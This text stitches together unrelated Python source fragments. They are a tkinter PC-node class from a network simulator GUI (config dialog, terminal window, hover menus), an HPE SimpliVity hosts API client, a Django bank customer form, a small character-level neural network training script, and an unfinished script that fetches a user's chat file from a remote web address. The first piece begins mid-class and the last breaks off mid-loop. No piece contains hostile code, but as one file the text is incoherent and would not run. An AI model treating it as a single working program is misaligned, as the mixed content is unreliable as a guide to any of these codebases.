        self.disconnect_button.bind('<Leave>', self.disconnect_button_bg_leave)
        self.disconnect_button.bind('<Button-1>', self.disconnect_cable)

        self.delete_button.bind('<Enter>', self.delete_button_bg_enter)
        self.delete_button.bind('<Leave>', self.delete_button_bg_leave)
        self.delete_button.bind('<Button-1>', lambda e, q=False: self.menu_delete(e, q))

        if event:
            self.on_start_hover(event)

    def hide_menu(self, on_delete=False):
        self.canvas.itemconfigure(self.menu_buttons, state='hidden')

        self.canvas.itemconfigure(self.config_button_window, state='hidden')
        self.canvas.itemconfigure(self.terminal_button_window, state='hidden')
        self.canvas.itemconfigure(self.disconnect_button_window, state='hidden')
        self.canvas.itemconfigure(self.delete_button_window, state='hidden')

        self.config_button.place_forget()
        self.terminal_button.place_forget()
        self.disconnect_button.place_forget()
        self.delete_button.place_forget()

        if on_delete:
            self.config_button.destroy()
            self.terminal_button.destroy()
            self.disconnect_button.destroy()
            self.delete_button.destroy()

    def unbind_menu_temporarily(self):
        self.canvas.tag_unbind(self.hover_area, '<Enter>')
        self.canvas.tag_unbind(self.hover_area, '<Leave>')
        self.canvas.tag_unbind(self.block_name, '<Enter>')
        self.canvas.tag_unbind(self.block_name, '<Leave>')
        self.canvas.tag_unbind(self.menu_buttons, '<Enter>')
        self.canvas.tag_unbind(self.menu_buttons, '<Leave>')
        self.config_button.unbind('<Enter>')
        self.terminal_button.unbind('<Enter>')
        self.disconnect_button.unbind('<Enter>')
        self.delete_button.unbind('<Enter>')
        # Hide menu
        self.hide_menu()

    def open_config_menu(self, event):

        def hide_window():
            self.config_window.withdraw()

        self.config_window = tk.Toplevel(self.canvas)
        self.config_window.protocol('WM_DELETE_WINDOW', hide_window)

        x = (globalVars.screen_width / 2) - (700 / 2)
        y = (globalVars.screen_height / 2) - (375 / 2) - 100
        self.config_window.geometry('%dx%d+%d+%d' % (700, 375, x, y))

        self.config_window.wm_iconphoto(False, self.icons[1])
        self.config_window.wm_title("Configure PC")
        self.config_window.resizable(False, False)

        configure_menu = ttk.Notebook(self.config_window)

        general_tab = ttk.Frame(configure_menu)
        interface_tab = ttk.Frame(configure_menu)
        configure_menu.bind("<<NotebookTabChanged>>", lambda e=event: self.set_focus_on_tab_change(e))

        configure_menu.add(general_tab, text='General Configuration')
        configure_menu.add(interface_tab, text='Interface Configuration')
        configure_menu.pack(expand=1, fill="both")

        # General Tab
        tk.Label(general_tab, text="Hostname:").place(x=50, y=75)
        self.hostname_field = tk.Entry(general_tab, width=20)
        self.hostname_field.insert(0, self.class_object.get_host_name())
        self.hostname_field.place(x=150, y=75)

        tk.Label(general_tab, text="MAC Address:").place(x=50, y=150)
        mac_address = tk.Entry(general_tab, width=20)
        mac_address.insert(0, self.class_object.get_mac_address())
        mac_address.place(x=150, y=150)
        # General Tab

        # Interface Tab
        ask_b4_quick_del_check = tk.Checkbutton(interface_tab, text='Auto-configure interface settings '
                                                                    '(Requires a DHCP server)',
                                                variable=self.auto_config_nic, onvalue=True, offvalue=False,
                                                command=self.set_auto_configure)
        ask_b4_quick_del_check.place(x=50, y=25)

        tk.Label(interface_tab, text="IPv4 Address:").place(x=50, y=75)
        self.ipv4_field = tk.Entry(interface_tab, width=20)
        self.ipv4_field.insert(0, self.class_object.get_ipv4_address())
        self.ipv4_field.place(x=150, y=75)

        tk.Label(interface_tab, text="Subnet Mask:").place(x=335, y=75)
        self.netmask_field = tk.Entry(interface_tab, width=20)
        self.netmask_field.insert(0, self.class_object.get_netmask())
        self.netmask_field.place(x=435, y=75)

        tk.Label(interface_tab, text="Default Gateway:").place(x=50, y=125)
        self.gateway_field = tk.Entry(interface_tab, width=20)
        self.gateway_field.insert(0, self.class_object.get_default_gateway())
        self.gateway_field.place(x=150, y=125)

        tk.Label(interface_tab, text="IPv6 Address:").place(x=50, y=175)
        self.ipv6_field = tk.Entry(interface_tab, width=54)
        self.ipv6_field.insert(0, self.class_object.get_ipv6_address())
        self.ipv6_field.place(x=53, y=195)

        tk.Label(interface_tab, text="/").place(x=380, y=195)
        self.prefix_field = tk.Entry(interface_tab, width=3)
        self.prefix_field.insert(0, self.class_object.get_prefix())
        self.prefix_field.place(x=390, y=195)

        tk.Label(interface_tab, text="IPv6 Link Local Address:").place(x=50, y=245)
        self.ipv6_link_local_field = tk.Entry(interface_tab, width=54)
        self.ipv6_link_local_field.insert(0, self.class_object.get_ipv6_link_local_address())
        self.ipv6_link_local_field.place(x=53, y=265)

        tk.Label(interface_tab, text="/").place(x=380, y=265)
        self.ipv6_link_local_prefix_field = tk.Entry(interface_tab, width=3)
        self.ipv6_link_local_prefix_field.insert(0, self.class_object.get_link_local_prefix())
        self.ipv6_link_local_prefix_field.place(x=390, y=265)
        # Interface Tab

        # Save Button
        save_btn = tk.Button(configure_menu, width=10, height=1, text="Save", relief=tk.GROOVE,
                             command=lambda: self.save_general_parameters(self.hostname_field.get(), mac_address.get(),
                                                                          self.ipv4_field.get(),
                                                                          self.netmask_field.get(),
                                                                          self.gateway_field.get(),
                                                                          self.ipv6_field.get(),
                                                                          self.prefix_field.get(),
                                                                          self.ipv6_link_local_field.get(),
                                                                          self.ipv6_link_local_prefix_field.get(),
                                                                          self.config_window))
        save_btn.place(x=590, y=325)
        save_btn.bind('<Enter>', lambda e, btn=save_btn: hf.button_enter(e, btn))
        save_btn.bind('<Leave>', lambda e, btn=save_btn: hf.button_leave(e, btn))
        # Save Button

        self.toggle_config_fields()
        self.hide_menu()

    def set_auto_configure(self):
        self.class_object.set_auto_configure(self.auto_config_nic.get())
        self.toggle_config_fields()

    def set_fields_from_dhcp(self, ipv4_address, netmask, default_gateway):

        if not ipv4_address:
            ipv4_address = ''
        if not netmask:
            netmask = ''
        if not default_gateway:
            default_gateway = ''

        try:
            # Empty fields
            self.ipv4_field.delete('0', tk.END)
            self.netmask_field.delete('0', tk.END)
            self.gateway_field.delete('0', tk.END)

            self.ipv4_field.insert(tk.END, ipv4_address)
            self.netmask_field.insert(tk.END, netmask)
            self.gateway_field.insert(tk.END, default_gateway)
        except (AttributeError, tk.TclError):
            pass

    def toggle_config_fields(self):
        if self.auto_config_nic.get():
            self.ipv4_field.config(state= "disabled")
            self.netmask_field.config(state= "disabled")
            self.gateway_field.config(state= "disabled")
            # self.ipv6_field.config(state= "disabled")
            # self.prefix_field.config(state= "disabled")
        else:
            self.ipv4_field.config(state="normal")
            self.netmask_field.config(state="normal")
            self.gateway_field.config(state="normal")
            # self.ipv6_field.config(state="normal")
            # self.prefix_field.config(state="normal")

    def set_focus_on_tab_change(self, event):
        if event.widget.select() == '.!canvas.!toplevel.!notebook.!frame':
            self.hostname_field.focus_set()
        else:
            self.ipv4_field.focus_set()

    def disconnect_cable(self, event):
        try:
            cable = self.class_object.get_interfaces()[0].get_canvas_cable()
            cable.delete_canvas_cable()
        except (tk.TclError, AttributeError):
            pass

        self.hide_menu()
        globalVars.prompt_save = True

        # Disable the hover area when disconnect cable is clicked because mouse lands on the hover area causing the menu
        # to reappear instantly. It is re-enabled in self.on_end_hover()
        self.canvas.itemconfigure(self.hover_area, state="hidden")

    def menu_delete(self, event, is_quick_del, reset=False):

        if ((not is_quick_del and globalVars.ask_before_delete) or (is_quick_del and globalVars.ask_before_quick_delete)
                and not reset):
            answer = messagebox.askokcancel("Delete PC", "Delete this PC?")
        else:
            answer = True

        if answer:

            self.disconnect_cable(event)
            self.internal_clock.remove_pc(self)

            if not is_quick_del:
                globalVars.pc_objects.remove(self)
                globalVars.objects.remove(self)

            self.canvas.delete(self.canvas_object)
            self.canvas.delete(self.hover_area)
            self.canvas.delete(self.menu_buttons)

            self.class_object = None

            # Destroy windows when deleting node
            if self.cli_window:
                self.cli_window.destroy()

            if self.config_window:
                self.config_window.destroy()

            # In case, remove all tooltips
            [self.canvas.delete(i) for i in self.canvas.find_withtag("Config_Tooltip")]
            [self.canvas.delete(i) for i in self.canvas.find_withtag("Terminal_Tooltip")]
            [self.canvas.delete(i) for i in self.canvas.find_withtag("Disconnect_Tooltip")]
            [self.canvas.delete(i) for i in self.canvas.find_withtag("Delete_Tooltip")]

            self.hide_menu(on_delete=True)
        else:
            self.hide_menu()

        globalVars.prompt_save = True

    def save_general_parameters(self, hostname, mac_address, ipv4, netmask, default_route, ipv6, ipv6_prefix,
                                ipv6_ll, ipv6_ll_prefix, parent):

        hostname_flag = True
        ipv4_flag = True
        netmask_flag = True
        default_route_flag = True
        ipv6_flag = True
        ipv6_prefix_flag = True
        ipv6_ll_flag = True
        ipv6_ll_prefix_flag = True

        # must have a hostname
        if not hostname:
            hostname_flag = False

        # check mac address
        mac_address_flag = hf.check_mac_address(mac_address)

        # following fields are optional
        if ipv4:
            ipv4_flag = hf.check_ipv4(ipv4)
            netmask_flag = hf.check_subnet_mask(netmask)

        if default_route:
            default_route_flag = hf.check_ipv4(default_route)

        if ipv6:
            ipv6_flag = hf.check_ipv6(ipv6)
            ipv6_prefix_flag = hf.check_ipv6_prefix(ipv6_prefix)

        if ipv6_ll:
            ipv6_ll_flag = hf.check_ipv6(ipv6_ll)
            ipv6_ll_prefix_flag = hf.check_ipv6_prefix(ipv6_ll_prefix)

        if (hostname_flag and mac_address_flag and ipv4_flag and ipv6_flag and netmask_flag and default_route_flag and
                ipv6_flag and ipv6_prefix_flag and ipv6_ll_flag and ipv6_ll_prefix_flag):
            self.class_object.set_host_name(hostname)
            self.class_object.set_mac_address(mac_address)
            self.class_object.set_ipv4_address(ipv4)
            self.class_object.set_netmask(netmask)
            self.class_object.set_ipv6_address(ipv6)
            self.class_object.set_prefix(ipv6_prefix)
            self.class_object.set_default_gateway(default_route)
            self.class_object.set_ipv6_link_local_address(ipv6_ll)
            self.class_object.set_ipv6_link_local_prefix(ipv6_ll_prefix)
            parent.withdraw()
            globalVars.prompt_save = True
        else:
            if not hostname_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a Hostname', parent=parent)
            elif not mac_address_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a valid MAC Address', parent=parent)
            elif not ipv4_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a valid IPv4 Address', parent=parent)
            elif not netmask_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a valid Subnet Mask', parent=parent)
            elif not default_route_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a valid Default Gateway', parent=parent)
            elif not ipv6_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a valid IPv6 Address', parent=parent)
            elif not ipv6_prefix_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a valid IPv6 Prefix', parent=parent)
            elif not ipv6_ll_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a valid IPv6 Link Local Address', parent=parent)
            elif not ipv6_ll_prefix_flag:
                messagebox.showerror('Invalid Parameter', 'Please Enter a valid IPv6 Link Local Prefix', parent=parent)

    def menu_pc_cli(self, main_event):

        def hide_window():
            self.cli_window.withdraw()

        if not self.created_terminal:
            self.cli_window = tk.Toplevel(self.canvas)

            x = (globalVars.screen_width / 2) - (700 / 2)
            y = (globalVars.screen_height / 2) - (800 / 2) - 50
            self.cli_window.geometry("%dx%d+%d+%d" % (700, 800, x, y))

            self.cli_window.wm_iconphoto(False, self.icons[2])
            self.cli_window.wm_title("Terminal")
            self.cli_window.protocol('WM_DELETE_WINDOW', hide_window)
            self.cli_window.focus_set()
            self.cli_object = PCCli(self, self.class_object, self.cli_window, self.cli_text, "PC> ", 'white', 'white')
            self.cli = self.cli_object.get_cli()

            self.created_terminal = True
        else:
            self.cli_window.deiconify()

        self.hide_menu()

    def get_class_object(self):
        return self.class_object

    def get_canvas_object(self):
        return self.canvas_object

    def get_block_name(self):
        return self.block_name

    def get_info(self, info, linebreak, last):
        if linebreak:
            self.cli.insert(tk.END, info)
            self.cli.insert(tk.END, "\n")
        else:
            self.cli.insert(tk.END, info)

    def toggle_cli_busy(self):
        if not self.cli_busy:
            self.cli_busy = True
            self.cli.bind("<Key>", lambda e: "break")
        else:
            self.cli_busy = False
            self.cli.unbind("<Key>")
            self.cli.insert(tk.END, "\n\n" + self.class_object.get_host_name() + "> ")

    def add_line_connection(self, tag1, tag2, ignored_1, ignored_2, canvas_cable_object):
        self.line_connections[canvas_cable_object] = [tag1, tag2]
        self.tag_1 = tag1
        self.tag_2 = tag2

    def del_line_connection(self, cable):
        self.line_connections.pop(cable)

    def get_line_connection_count(self, ignored_1, ignored_2):
        if len(self.line_connections) > 0:
            return len(self.line_connections), self.line_connections
        else:
            return 0, None

    def set_interfaces(self, ignored, int1, int2):
        self.interface_1 = int1
        self.interface_2 = int2

    def on_start_hover(self, event):

        for item in globalVars.objects:
            item.hide_menu()

        try:
            if type(self.master.focus_displayof()) == tkinter.Tk:  # If the root has focus
                self.canvas.itemconfigure(self.menu_buttons, state='normal')  # Add the frame to the canvas

                self.canvas.itemconfigure(self.config_button_window, state='normal')
                self.canvas.moveto(self.config_button_window, self._x + 57, self._y - 65)

                self.canvas.itemconfigure(self.terminal_button_window, state='normal')
                self.canvas.moveto(self.terminal_button_window, self._x + 57, self._y - 31)

                self.canvas.itemconfigure(self.disconnect_button_window, state='normal')
                self.canvas.moveto(self.disconnect_button_window, self._x + 57, self._y + 3)

                self.canvas.itemconfigure(self.delete_button_window, state='normal')
                self.canvas.moveto(self.delete_button_window, self._x + 57, self._y + 37)

                self.config_button.place()
                self.terminal_button.place()
                self.disconnect_button.place()
                self.delete_button.place()

                return
        except tkinter.TclError:
            pass

        self.master.update()  # Program hangs without calling update

    def on_end_hover(self, event):
        self.config_button.place_forget()
        self.terminal_button.place_forget()
        self.disconnect_button.place_forget()
        self.delete_button.place_forget()

        self.canvas.itemconfigure(self.menu_buttons, state='hidden')
        self.canvas.itemconfigure(self.config_button_window, state='hidden')
        self.canvas.itemconfigure(self.terminal_button_window, state='hidden')
        self.canvas.itemconfigure(self.disconnect_button_window, state='hidden')
        self.canvas.itemconfigure(self.delete_button_window, state='hidden')

        # The hover area is disabled when a cable is disconnected because the mouse will land in the hove area and
        # make the menu reappear instantly. This line re-enables it.
        self.canvas.itemconfigure(self.hover_area, state="normal")

        self.master.update()  # Program hangs without calling update

        return

    def get_lights(self, ignored):
        return self.l1, self.l2

    def config_button_bg_enter(self, event):

        self.on_start_hover(event)
        self.canvas.after(600, lambda c=self.canvas, b=self.config_button, text="Configure this PC",
                                      tag="Config_Tooltip",
                                      p=(self._x + 57, self._y - 65): hf.create_tooltip(c, b, text, tag, p))
        self.config_button.config(background='gray89', foreground="white", relief=tk.SUNKEN)

    def config_button_bg_leave(self, event):
        self.config_button.config(background='gray75', foreground="white", relief=tk.GROOVE)
        [self.canvas.delete(i) for i in self.canvas.find_withtag("Config_Tooltip")]

    def terminal_button_bg_enter(self, event):
        self.on_start_hover(event)
        self.canvas.after(600, lambda c=self.canvas, b=self.terminal_button, text="Open the Terminal",
                                      tag="Terminal_Tooltip", p=(self._x + 57, self._y - 31),
                                      offset=(1, 0): hf.create_tooltip(c, b, text, tag, p, offset))
        self.terminal_button.config(background='gray89', foreground="white", relief=tk.SUNKEN)

    def terminal_button_bg_leave(self, event):
        self.terminal_button.config(background='gray75', foreground="white", relief=tk.GROOVE)
        [self.canvas.delete(i) for i in self.canvas.find_withtag("Terminal_Tooltip")]

    def disconnect_button_bg_enter(self, event):
        self.on_start_hover(event)
        self.canvas.after(600, lambda c=self.canvas, b=self.disconnect_button, text="Disconnect Connections",
                                      tag="Disconnect_Tooltip", p=(self._x + 57, self._y + 3),
                                      offset=(20, 0): hf.create_tooltip(c, b, text, tag, p, offset))
        self.disconnect_button.config(background='gray89', foreground="white", relief=tk.SUNKEN)

    def disconnect_button_bg_leave(self, event):
        self.disconnect_button.config(background='gray75', foreground="white", relief=tk.GROOVE)
        [self.canvas.delete(i) for i in self.canvas.find_withtag("Disconnect_Tooltip")]

    def delete_button_bg_enter(self, event):
        self.on_start_hover(event)
        self.canvas.after(600, lambda c=self.canvas, b=self.delete_button, text="Delete PC", tag="Delete_Tooltip",
                                      p=(self._x + 57, self._y + 37), offset=(-20, 0): hf.create_tooltip(c, b, text,
                                                                                tag, p,
                                                                                offset))
        self.delete_button.config(background='gray89', foreground="white", relief=tk.SUNKEN)

    def delete_button_bg_leave(self, event):
        self.delete_button.config(background='gray75', foreground="white", relief=tk.GROOVE)
        [self.canvas.delete(i) for i in self.canvas.find_withtag("Delete_Tooltip")]

    # -------------------------- Save & Load Methods -------------------------- #
    def get_save_info(self):
        return [self._x, self._y, self.block_name, self.cli_text, self.command_history, self.command_history_index,
                self.tag_1, self.tag_2, self.l1, self.l2, self.class_object.get_save_info()]

    def set_pos(self, x_pos, y_pos):
        self._x = x_pos
        self._y = y_pos
        self.canvas.coords(self.canvas_object, x_pos, y_pos)

        # Move the hover area and menu buttons
        self.canvas.coords(self.hover_area, self._x - 50, self._y - 50,
                           self._x + 45, self._y - 50,
                           self._x + 45, self._y - 75,
                           self._x + 95, self._y - 75,
                           self._x + 95, self._y + 75,
                           self._x + 45, self._y + 75,
                           self._x + 45, self._y + 50,
                           self._x - 50, self._y + 50)

        self.canvas.coords(self.menu_buttons, self._x + 40, self._y,
                           self._x + 50, self._y - 5,
                           self._x + 50, self._y - 72,
                           self._x + 92, self._y - 72,
                           self._x + 92, self._y + 72,
                           self._x + 50, self._y + 72,
                           self._x + 50, self._y + 5)

        self.button_release(None)

    def get_coords(self):
        return [self._x, self._y]
    # -------------------------- Save & Load Methods -------------------------- #


from simplivity.resources.resource import ResourceBase

URL = '/hosts'
DATA_FIELD = 'hosts'

class Hosts(ResourceBase):
    """Implements features available for SimpliVity Host resources."""

    def __init__(self, connection):
        super(Hosts, self).__init__(connection)

    def get_all(self, pagination=False, page_size=0, limit=500, offset=0,
                sort=None, order='descending', filters=None, fields=None,
                case_sensitive=True, show_optional_fields=False):
        """Gets all hosts.

        Args:
            pagination: True if need pagination
            page_size: Size of the page (Required when pagination is on)
            limit: A positive integer that represents the maximum number of results to return
            offset: A positive integer that directs the service to start returning
              the <offset value> instance, up to the limit.
            sort: The name of the field where the sort occurs.
            order: The sort order preference. Valid values: ascending or descending.
            filters: Dictionary with filter values. Example: {'name': 'name'}
              id: The unique identifier (UID) of the host
                Accepts: Single value, comma-separated list
              name: The name of the host
                Accepts: Single value, comma-separated list, pattern using one or more
                asterisk characters as a wildcard
              type: The type of host
                Accepts: Single value, comma-separated list, pattern using one or more
                asterisk characters as a wildcard
              model: The model of the host
                Accepts: Single value, comma-separated list, pattern using one or more
                asterisk characters as a wildcard
              version: The version of the host
                Accepts: Single value, comma-separated list, pattern using one or more
                asterisk characters as a wildcard
              hypervisor_management_system: The IP address of the Hypervisor Management System (HMS)
                associated with the host
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              hypervisor_management_system_name: The name of the Hypervisor Management System (HMS)
                associated with the host
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              hypervisor_object_id: The unique identifier (UID) of the hypervisor associated
                with the host
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              compute_cluster_name: The name of the compute cluster associated with the host
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              compute_cluster_hypervisor_object_id: The unique identifier (UID)
                of the Hypervisor Management System (HMS) for the associated compute cluster
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              management_ip: The IP address of the HPE OmniStack management module that
                runs on the host
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              storage_ip: The IP address of the HPE OmniStack storage module that runs on the host
                Accepts: Single value, comma-separated list, pattern using one or more
                asterisk characters as a wildcard
              federation_ip: The IP address of the federation
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              virtual_controller_name: The name of the Virtual Controller that runs on the host
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              compute_cluster_parent_name: The name of the hypervisor that contains the omnistack
                cluster that is associated with the instance
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              compute_cluster_parent_hypervisor_object_id: The unique identifier (UID) of the
                hypervisor that contains the omnistack_cluster that is associated with the instance
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              policy_enabled: An indicator to show the status of the backup policy for the host
                Valid values:
                True: The backup policy for the host is enabled.
                False: The backup policy for the host is disabled.
              current_feature_level_min: The minimum current feature level of the HPE OmniStack
                software running on the host
              current_feature_level_max: The maximum current feature level of the HPE OmniStack
                software running on the host
              potential_feature_level_min: The minimum potential feature level of the HPE OmniStack
                software running on the host
              potential_feature_level_max: The maximum potential feature level of the HPE OmniStack
                software running on the host
              upgrade_state: The state of the most recent HPE OmniStack software upgrade for this
                host (SUCCESS, FAIL, IN_PROGRESS, NOOP, UNKNOWN)
                Accepts: Single value, comma-separated list, pattern using one or more asterisk
                characters as a wildcard
              can_rollback: An indicator to show if the current HPE OmniStack software running on
                the host can roll back to the previous version
                Valid values:
                True: The current HPE OmniStack software for the host can roll back to the previous version.
                False: The current HPE OmniStack software for the host cannot roll back to the previous version.

        Returns:
          list: list of Host objects
        """
        return self._client.get_all(URL,
                                    members_field=DATA_FIELD,
                                    pagination=pagination,
                                    page_size=page_size,
                                    limit=limit,
                                    offset=offset,
                                    sort=sort,
                                    order=order,
                                    filters=filters,
                                    fields=fields,
                                    case_sensitive=case_sensitive,
                                    show_optional_fields=show_optional_fields)

    def get_by_data(self, data):
        """Gets Host object from host data.

        Args:
            data: host data

        Returns:
            object: Host object.
        """
        return Host(self._connection, self._client, data)

class Host(object):
    """Implements features available for single Host resource."""

    OBJECT_TYPE = 'host'

    def __init__(self, connection, resource_client, data):
        self.data = data
        self._connection = connection
        self._client = resource_client
        self._hosts = Hosts(self._connection)

    def __refresh(self):
        """Updates the host data."""
        resource_uri = "{}/{}".format(URL, self.data["id"])
        self.data = self._client.do_get(resource_uri)[self.OBJECT_TYPE]

    def reload_data(self):
        self.__refresh()

    def remove(self, force=False, timeout=-1):
        """Removes the specified host from the federation.

        Args:
          force: An indicator that specifies if the host should be removed forcefully or not.
            Valid values:
              True: Forces the removal of the host even if active virtual machines are
                    present and if the host is not HA-compliant. This may cause data loss.
              False: Returns an error if there are any virtual machines on the host or if the host is not HA-compliant.
        """
        http_headers = {"Content-type": 'application/vnd.simplivity.v1.9+json'}

        method_url = "{}/{}/remove_from_federation".format(URL, self.data["id"])
        data = {"force": force}

        self._client.do_post(method_url, data, timeout, http_headers)
        self.data = None

    def get_hardware(self):
        """Retrieves the hardware information for the host"""
        resource_uri = "{}/{}/hardware".format(URL, self.data["id"])
        return self._client.do_get(resource_uri)

    def get_virtual_controller_shutdown_status(self):
        """Retrieves the shutdown status of the Virtual Controller"""
        resource_uri = "{}/{}/virtual_controller_shutdown_status".format(URL, self.data["id"])
        status = self._client.do_get(resource_uri)
        return status['shutdown_status']['status']

    def shutdown_virtual_controller(self, ha_wait=True, timeout=-1):
        """Shuts down the Virtual Controller safely (by reaching HA compliance) or by force.

        Args:
          ha_wait: An indicator to show if the user wants to shut down the Virtual Controller safely or forcefully.
            Valid values:
              True: Virtual Controller waits for the virtual machines to reach HA compliance before shutting down.
              False: Virtual Controller forced to shut down without waiting for HA compliance.
          timeout: Time out for the request in seconds.

        Returns:
            status: Possible values are 'SUCCESS', 'FAILURE', 'UNKNOWN', 'IN_PROGRESS'.
        """
        method_url = "{}/{}/shutdown_virtual_controller".format(URL, self.data["id"])
        data = {"ha_wait": ha_wait}

        status = self._client.do_post(method_url, data, timeout)
        return status['shutdown_status']['status']

    def cancel_virtual_controller_shutdown(self, timeout=-1):
        """Cancels the virtual controller shutdown.

        Args:
          timeout: Time out for the request in seconds.

        Returns:
          status: Possible values are 'SUCCESS', 'FAILURE', 'UNKNOWN', 'IN_PROGRESS'.
        """
        resource_uri = "{}/{}/cancel_virtual_controller_shutdown".format(URL, self.data["id"])
        status = self._client.do_post(resource_uri, None, timeout)
        return status['cancellation_status']['status']

    def get_capacity(self, fields=None, time_offset=0, range=43200, resolution="MINUTE"):
        """Gets host capacity.

        Args:
          fields: Comma-separated list of fields to include in the returned objects.
          time_offset: A time offset in seconds (from now) or a datetime, expressed in ISO-8601 form,
                       based on Coordinated Universal Time (UTC).
          range: A range in seconds (the duration from the specified point in time).
          resolution: The resolution (SECOND, MINUTE, HOUR, or DAY).

        Returns:
          dict: Dictionary of the capacity details.
        """
        resource_uri = "{}/{}/capacity".format(URL, self.data["id"])
        filters = {'time_offset': time_offset, 'range': range, 'resolution': resolution}

        if fields:
            filters["fields"] = fields

        return self._client.do_get(resource_uri, filters)

    def get_metrics(self, time_offset=0, range=43200, resolution="MINUTE"):
        """Retrieves throughput, IOPS, and latency data for the host.

        Args:
          time_offset: A time offset in seconds (from now) or a datetime, expressed in ISO-8601 form,
                       based on Coordinated Universal Time (UTC).
          range: A range in seconds (the duration from the specified point in time).
          resolution: The resolution (SECOND, MINUTE, HOUR, or DAY).

        Returns:
          dict: Dictionary of the metrics details.
        """
        resource_uri = "{}/{}/metrics".format(URL, self.data["id"])
        filters = {'time_offset': time_offset, 'range': range, 'resolution': resolution}

        return self._client.do_get(resource_uri, filters)


from django import forms

from bankapp.models import Person, City

GENDER_CHOICES = [
 ('Male', 'Male'),
 ('Female', 'Female')
]
MATERIALS_PROVIDE_CHOICE = [
 ('Debit Card', 'Debit Card'),
 ('Credit Card', 'Credit Card'),
 ('Check Book', 'Check Book'),
]
class PersonCreationForm(forms.ModelForm):
    gender = forms.ChoiceField(choices=GENDER_CHOICES, widget=forms.RadioSelect)
    materials = forms.MultipleChoiceField(label='Materials Provide', choices=MATERIALS_PROVIDE_CHOICE,
                                         widget=forms.CheckboxSelectMultiple)
    class Meta:
        model = Person
        fields = '__all__'
        widgets = {
            'name': forms.TextInput(attrs={'class': 'form-control','placeholder':'Enter Your Name'}),
            'email': forms.EmailInput(attrs={'class': 'form-control','placeholder':'Enter Your Email-ID'}),
            'address': forms.TextInput(attrs={'class': 'form-control','placeholder':'Enter Your Address'}),
            'age': forms.TextInput(attrs={'class': 'form-control','placeholder':'Enter Your Age'}),
            'dob': forms.DateInput(attrs={'class': 'form-control','type':'date'}),
            'account': forms.Select(attrs={'class': 'form-control'}),
            'district': forms.Select(attrs={'class': 'form-control'}),
            'city': forms.Select(attrs={'class': 'form-control'}),
            'mob': forms.NumberInput(attrs={'class': 'form-control','placeholder':'Enter Your Mobile Number'}),

        }

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.fields['city'].queryset = City.objects.none()

        if 'district' in self.data:
            try:
                district_id = int(self.data.get('district'))
                self.fields['city'].queryset = City.objects.filter(district_id=district_id).order_by('name')
            except (ValueError, TypeError):
                pass  # invalid input from the client; ignore and fallback to empty City queryset
        elif self.instance.pk:
            self.fields['city'].queryset = self.instance.district.city_set.order_by('name')


import torch
import torch.nn.functional as F
import matplotlib.pyplot as plt # for making figures
import os

# read in all the words
current_dir = os.getcwd()
words = open(current_dir+'/makemore/names.txt', 'r').read().splitlines()
# print(f"{words[:8]}")

# build the vocabulary of characters and mappings to/from integers
chars = sorted(list(set(''.join(words))))
stoi = {s:i+1 for i,s in enumerate(chars)}
stoi['.'] = 0
itos = {i:s for s,i in stoi.items()}
# print(itos)

# build the dataset
block_size = 3 # context length: how many characters do we take to predict the next one?

def build_dataset(words):
  X, Y = [], []
  for w in words:
    #print(w)
    context = [0] * block_size
    for ch in w + '.':
      ix = stoi[ch]
      X.append(context)
      Y.append(ix)
      #print(''.join(itos[i] for i in context), '--->', itos[ix])
      context = context[1:] + [ix] # crop and append

  X = torch.tensor(X)
  Y = torch.tensor(Y)
#   print(X.shape, Y.shape)
  return X, Y

import random
random.seed(42)
random.shuffle(words)
n1 = int(0.8*len(words))
n2 = int(0.9*len(words))

Xtr, Ytr = build_dataset(words[:n1])
Xdev, Ydev = build_dataset(words[n1:n2])
Xte, Yte = build_dataset(words[n2:])

g = torch.Generator().manual_seed(42) # for reproducibility
C = torch.randn((27, 10), generator=g)
W1 = torch.randn((30, 200), generator=g)
W2 = torch.randn((200, 27), generator=g)
parameters = [C, W1, W2]

for p in parameters:
  p.requires_grad = True

lri = []
lossi = []
stepi = []

batch = 32

for i in range(100):

  # minibatch construct
  ix = torch.randint(0, Xtr.shape[0], (batch,))

  # forward pass
  emb = C[Xtr[ix]] # (32, 3, 10)
  h = torch.tanh(emb.view(-1, 30) @ W1) # (32, 200)
  logits = h @ W2 # (32, 27)
  loss = F.cross_entropy(logits, Ytr[ix])
  #print(loss.item())

  # backward pass
  for p in parameters:
    p.grad = None
  loss.backward()

  # update
  lr = 0.1
  for p in parameters:
    p.data += -lr * p.grad

  # track stats
  #lri.append(lre[i])
  stepi.append(i)
  lossi.append(loss.item())

#print(loss.item())

plt.plot(stepi, lossi)
plt.show()

# sample from the model
g = torch.Generator().manual_seed(2147483647 + 10)

for _ in range(5):
    out = []
    context = [0] * block_size # initialize with all ...
    while True:
      emb = C[torch.tensor([context])] # (1,block_size,d)
      h = torch.tanh(emb.view(1, -1) @ W1)
      logits = h @ W2
      probs = F.softmax(logits, dim=1)
      ix = torch.multinomial(probs, num_samples=1, generator=g).item()
      context = context[1:] + [ix]
      out.append(ix)
      if ix == 0:
        break

    print(''.join(itos[i] for i in out))


import urllib2
import sys
user=sys.argv[1]
url='http://noaddress.x10.mx/chat/'
url+= user
url+=".txt"
response = urllib2.urlopen(url).read()
response=response[4:]

#RSA

def split(txt, seps):
    default_sep = seps[0]
    for sep in seps[1:]: # we skip seps[0] because that's the default seperator
        txt = txt.replace(sep, default_sep)
    return [i.strip() for i in txt.split(default_sep)]

response=split(response, ['&', '%26'])
for i in range(0,len(response)):
